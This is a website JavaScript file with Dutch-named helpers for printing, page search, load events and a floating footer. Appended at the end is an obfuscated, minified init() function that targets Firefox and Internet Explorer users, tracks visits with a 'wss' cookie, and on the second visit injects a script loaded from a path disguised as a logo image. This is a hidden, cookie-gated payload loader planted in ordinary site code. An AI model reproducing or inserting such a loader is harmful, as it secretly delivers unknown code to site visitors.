function printPagina(url)
{
	if(window.print)
	{
		window.print();
	}
}

function zoekPagina()
{
	//window.location = location+"[zoek="+zoek+"]";
	zoek = document.forms["plugin_zoek_pages"].zoek.value;
	loc = document.forms["plugin_zoek_pages"].loc.value;
	window.location = loc+"[zoek="+zoek+"]";
	//alert(zoek);
}

function addLoadEvent(func) {
	var oldonload = window.onload;
	if(typeof window.onload != 'function') {
		window.onload = func;	
	}
	else
	{
		window.onload = function() {
			oldonload();
			func();
		}
	}
}

/* positieding */
var slideTime = 0;
var floatAtBottom = true;

function positioneer()
{
  winOnResize(); // set initial position
  xAddEventListener(window, 'resize', winOnResize, false);
  xAddEventListener(window, 'scroll', winOnScroll, false);
}
function winOnResize() {
  xWidth('footer', xClientWidth());
  winOnScroll(); // initial slide
}
function winOnScroll() {
  var y = xScrollTop();
  if (floatAtBottom) {
    y += xClientHeight() - xHeight('footer');
  }
  xSlideTo('footer', 0, y, slideTime);
}
addLoadEvent(positioneer);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/docs/layout/images/logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
